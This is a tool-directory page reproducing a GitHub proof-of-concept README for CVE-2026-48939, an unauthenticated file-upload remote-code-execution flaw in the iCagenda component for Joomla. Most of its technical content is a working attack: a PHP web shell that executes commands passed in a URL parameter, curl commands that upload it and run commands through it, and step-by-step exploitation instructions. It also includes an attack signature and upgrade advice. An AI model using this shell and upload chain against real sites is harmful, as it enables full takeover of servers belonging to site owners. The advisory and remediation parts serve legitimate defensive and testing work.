Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
By-Poloss..-..CVE-2026-48939 — iCagenda Unauthenticated File Upload to RCE | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-48939
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpolosss/by-poloss..-..cve-2026-48939

By-Poloss..-..CVE-2026-48939

iCagenda Unauthenticated File Upload to RCE

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
111 month agoNot yet reviewed

CVE-2026-48939 - iCagenda Unauthenticated File Upload to RCE

Overview

FieldValue
CVE IDCVE-2026-48939
CVSS 4.0 Score10.0 Critical
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-284: Improper Access Control
Affected VersionsiCagenda 3.2.1 - 3.9.14 and 4.0.0 - 4.0.7
Fixed IniCagenda 4.0.8 and 3.9.15
Published20 June 2026

Vulnerability Description

iCagenda, a popular events and calendar component for Joomla, contains an unauthenticated file upload vulnerability that allows remote attackers to upload and execute arbitrary PHP code on Joomla 6 sites.

Technical Details

The vulnerability exists in the frontend event submission form's file attachment feature:

  1. Missing Access Control: The submit endpoint (index.php?option=com_icagenda&task=registration.submit) does not enforce authentication, bypassing the "Registered Only" access setting.

  2. No File Validation: Uploaded files are saved with their original extension without:

    • Extension allowlist validation
    • MIME type verification
    • File content inspection
  3. Direct File Write: Files are written to /images/icagenda/frontend/attachments/[filename] directly under the web root.

  4. PHP Execution: On Joomla 6, the uploaded .php files are executable, leading to Remote Code Execution (RCE).

Proof of Concept

Method 1: Using curl (Single Command)

root@kitploit:~
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

Method 2: Using PoC Script

root@kitploit:~
# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

Exploitation Steps

  1. Identify vulnerable endpoint:

    root@kitploit:~
    https://target.com/index.php?option=com_icagenda&task=submit
    
  2. Upload PHP web shell:

    root@kitploit:~
    curl -X POST -F "jform[attachment][email protected]" \
      "https://target.com/index.php?option=com_icagenda&task=submit"
    
  3. Execute shell:

    root@kitploit:~
    curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
    

Impact

  • Confidentiality: Complete loss of confidentiality - attacker can read all files
  • Integrity: Complete loss of integrity - attacker can modify all data
  • Availability: Complete loss of availability - attacker can deny service
  • Remote Code Execution: Full server compromise

Attack Signature

Based on real-world exploitation logs, the attack signature is:

root@kitploit:~
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

Remediation

  1. Immediate: Update iCagenda to version 4.0.8 (or 3.9.15 for legacy branch)
  2. Alternative: Remove or rename com_icagenda folders temporarily
  3. Note: Unpublishing the component does NOT protect against this vulnerability

References

  • iCagenda Zero Day RCE - mysites.guru
  • iCagenda Official
  • Changelog 4.0.8
  • CISA ADP Advisory

Disclaimer

This PoC is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal.

Download Tool